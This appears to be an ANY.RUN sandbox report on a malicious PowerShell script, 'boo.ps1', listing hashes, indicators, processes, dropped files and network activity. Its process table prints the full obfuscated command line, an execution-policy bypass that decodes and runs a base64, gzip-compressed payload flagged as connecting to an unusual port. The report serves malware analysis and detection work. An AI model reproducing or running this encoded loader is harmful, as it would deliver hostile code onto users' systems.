File name:

boo.ps1

Full analysis: https://app.any.run/tasks/28a375ac-8a5c-4079-bdba-5596330d442c
Verdict: Malicious activity
Analysis date: May 15, 2025, 13:53:27
OS: Windows 10 Professional (build: 19044, 64 bit)
Indicators:
MIME: text/plain
File info: ASCII text, with very long lines (2578), with no line terminators
MD5:

C3C963E3D764B689C5364CA31BAE2BE7

SHA1:

9F19C9DB112A29D0E0D9D571D4FA6904748015D4

SHA256:

F72A590814E6A99C76532C2EEF1CEEEEAF91F25A7A099EF8B9909EB1A747C6D7

SSDEEP:

48:1IaWIdka13MpcfmuJDsMLpfLG6r679mLv5yaOpMRaL9psCKxZYWX:PdcSfmuJDsoRLW7urScbjYY

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 6148)

  • SUSPICIOUS

    • Starts POWERSHELL.EXE for commands execution

      • powershell.exe (PID: 6148)

    • Executes script without checking the security policy

      • powershell.exe (PID: 6768)

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 6148)
      • powershell.exe (PID: 6768)

    • The process bypasses the loading of PowerShell profile settings

      • powershell.exe (PID: 6148)

    • Connects to unusual port

      • powershell.exe (PID: 6768)

  • INFO

    • Uses string split method (POWERSHELL)

      • powershell.exe (PID: 6768)

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 6768)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.669 | Composer 669 module (100)
No data.
screenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
135
Monitored processes
5
Malicious processes
1
Suspicious processes
1

Behavior graph

Click at the process to see the details
start powershell.exe no specs conhost.exe no specs sppextcomobj.exe no specs slui.exe powershell.exe

Process information

PID
CMD
Path
Indicators
Parent process
5608"C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEventC:\Windows\System32\slui.exe
SppExtComObj.Exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows Activation Client
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
6112C:\WINDOWS\system32\SppExtComObj.exe -EmbeddingC:\Windows\System32\SppExtComObj.Exe—svchost.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
KMS Connection Broker
Version:
10.0.19041.3996 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\sppextcomobj.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\oleaut32.dll
6148"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass C:\Users\admin\Desktop\boo.ps1C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6768"C:\WINDOWS\syswow64\WindowsPowerShell\v1.0\powershell.exe" -nop -w normal -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String((('H4sIAAa{1}/GcCA7VW+2/aSBD+vVL/B6tCsi0RXqFJE6nS2Tx{0}MAEcTICi08Ze2xsWL1'+'2vebX9329scB6XpMqd1JUQ9uzM7Ow338zYi0{0}H'+'EBZK7lr68fGDdFx9x{0}FSUnKLXl7KfdfUx50cuQ2lr5Iy01arOlsiEs4vL2sx5z{1}Uh/dCCwstivDyjhIcKar0UxoHmOOT67t77Ajph5T7u9Ci7A7Ro9quhpwASyda'+'6CZ7Xea{1}JKaCtaJEKPK3b7I6OynPC43vMaKRIlu7SOBlwaVUVqVfanL{1}zW6FFdkkDmcR80RhTMLTSmEURsjDPfC2xiYWAXMjGe7yeBuORczD9FKJl4OOIs{0}jnz{0}Hc12Oo0jOS7PE/2w+/0uZHQ8fxqE{1}S1wwQoE5W1mYr4mDo0IbhS7FQ+z{0}wcoSnIT+XFVBbc0WWMmFMaV'+'56b+4UXp4k0H3XiPlq'+'RFo9QVX85DOl9c0mRtTfDCUX4kTGKDCOrAAoPuVoOdlpPHdV0jzKMjWL{0}3BEKzSZxFJTb9KpbxkwrlIML6D19w{0}j7E6f4AakrLXyCr/XnflzBYs919Mawyymc2IO3/08Cz3uUh4516i9TaV69{1}jIa7vQrQkTsZW5bWUYI/iFJRCptaDGBX5uIHdOqbYRyJBOWHGC7PGko{1}HWz0m1MVccyCtEUQFGVefB3{0}InCIboYmX{1}ODhHaia86BGcKZ9rItddnryDkpyjaIoykv9GI'+'rUyUsWRhS7eUkLI3Lc0mLB0kf5MVwzpoI4KBKZu7n6bzyP59Z'+'YGAkeO5BcwODGWmGHIJpAkpfaxMX6ziJ+dr78KiA1RClUD3haQ0JAk{1}BhiYQyHEI90EMtWF{1}YyxXFS1BK20aTIh+axLFIUpIhH7vyW6Fm1XC{1}f{1}JOhsqTQCHjFmUiL9mEC+hCCdApy/5fIC870CGiGsfHJClZsc30nUjqIRecfXabCV2PUKXAcAG{1}{0}Dlb6ijC'+'Z9VDw1E+Fa9JTYM1MUJqOvqClLU{0}KRsm/Ebk1GD1c/eqc98u8vo28DQjMsx'+'2vz5ot6vrjmVXhdUwxFXfEG'+'bj9v7e0trD0URMDa19Q0qLSXW/6pC91dXcybZ4ttf3m5K+3d/7rjepe55/7lnD8ucm6Y5rA71UQd16I+6O9Y1eqkY{0}smkPyGiw6DTF3cSmaOQV/dvyBSLbLr+3y8zc'+'G5rWCk6dfcezW4Hp7ibt4sW4utA'+'amlYLG3ZTZ1cTnWv9oj1q6o{0}RQx8'+'MQHbmF70qyGiF{0}ZFZYy1vxTRfG06r4RIF+tiukOnqdhiAryaEYBZLVcPFW/alOyb2umijVk9MtVqnWnZv7X27{1}oLO1I67F9PIbXTqG12blBsdvd7SGsPRqDkd24vp+IZOx6PylGFnUwzAB8H6tb24K5ot3wi2ZR/OOk/9'+'L8mS3lXc4sXoix5urvz+2ncH4/Phtre7qzBtVCzanyDbsxEJxWllnlvzpDt+/JDzbp+k+62mbyIeBY{1}CDaCdZ3XZZLx5b{0}J9RhILRYEJ'+'v8A8xBQGI4zOjMkapcxJp{1}M0c5hLh2mRDK+'+'RkYbz2pMqPSiqj0MjE11eTiFCKIyUsYUuDn0R5Evb01IJen5pW6qmFfD+i9XYaqccvOWTsQHAPHinqXdwSDxJUf40WPBVIKA9vQXXW8jBuQvoJ{0}DcDqWd4KczRp+il17q{1}QPPoAPMynDtWfI5AOwA8xP'+'8XcqJZGA+HcC56Kwz+JOUObanAP7c31PmUfab3XfRqJRPkHkhfC540tv/2OXHiAjQs6DBUnyY/q9hcK'+'yQJ4l{0}s{1}L0944r+SC+jsVJDz6x0h7/D7B{0}VdeECwA'+'A')-f'N','g')))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\oleaut32.dll
6944\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
Total events
9 742
Read events
9 742
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
5
Text files
4
Unknown types
0

Dropped files

PID
Process
Filename
Type
6148powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_rudgrnax.zqp.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6148powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_fussgdzx.hur.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6148powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\E9I886UUJPIYZKLZ1827.tempbinary
MD5:87A4156AA90194181209496A807955A0
SHA256:F020A302CF241A77A2ED2E01F16B7D23907E14F1149FCF2AD1BD9C6D2418B072
6148powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF10b901.TMPbinary
MD5:D040F64E9E7A2BB91ABCA5613424598E
SHA256:D04E0A6940609BD6F3B561B0F6027F5CA4E8C5CF0FB0D0874B380A0374A8D670
6148powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:2A694481ED82B450E52FCA6A1F7F60CE
SHA256:BB15B139B16E6777BFD66700413863EC43619E2A5F7A7A1BF8F4BC471EF0876A
6768powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCachebinary
MD5:8B8A832FCE2174C8FEE26B70F2483FBB
SHA256:0FBA3A37EF443507F533A7C3F31C0B5826EA416B95FDE43479E02D4E0C29400B
6768powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_3tz3tt35.bts.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6148powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msbinary
MD5:87A4156AA90194181209496A807955A0
SHA256:F020A302CF241A77A2ED2E01F16B7D23907E14F1149FCF2AD1BD9C6D2418B072
6768powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_x1elohvw.bek.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
5
TCP/UDP connections
20
DNS requests
11
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
5496
MoUsoCoreWorker.exe
GET
200
23.48.23.141:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
5496
MoUsoCoreWorker.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
6300
SIHClient.exe
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
6544
svchost.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
6300
SIHClient.exe
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
—
—
4.231.128.59:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
5496
MoUsoCoreWorker.exe
23.48.23.141:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
2104
svchost.exe
4.231.128.59:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
5496
MoUsoCoreWorker.exe
184.30.21.171:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
5024
RUXIMICS.exe
4.231.128.59:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
2112
svchost.exe
4.231.128.59:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
3216
svchost.exe
172.211.123.248:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
FR
whitelisted
6544
svchost.exe
20.190.160.14:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted

DNS requests

Domain
IP
Reputation
crl.microsoft.com
  • 23.48.23.141
  • 23.48.23.192
  • 23.48.23.164
  • 23.48.23.185
  • 23.48.23.173
  • 23.48.23.140
  • 23.48.23.177
  • 23.48.23.137
  • 23.48.23.180
whitelisted
www.microsoft.com
  • 184.30.21.171
  • 23.35.229.160
whitelisted
client.wns.windows.com
  • 172.211.123.248
whitelisted
login.live.com
  • 20.190.160.14
  • 20.190.160.128
  • 40.126.32.136
  • 20.190.160.130
  • 20.190.160.5
  • 20.190.160.20
  • 20.190.160.4
  • 20.190.160.2
whitelisted
ocsp.digicert.com
  • 2.17.190.73
whitelisted
slscr.update.microsoft.com
  • 52.149.20.212
whitelisted
settings-win.data.microsoft.com
  • 51.124.78.146
whitelisted
fe3cr.delivery.mp.microsoft.com
  • 20.242.39.171
whitelisted

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
boo.ps1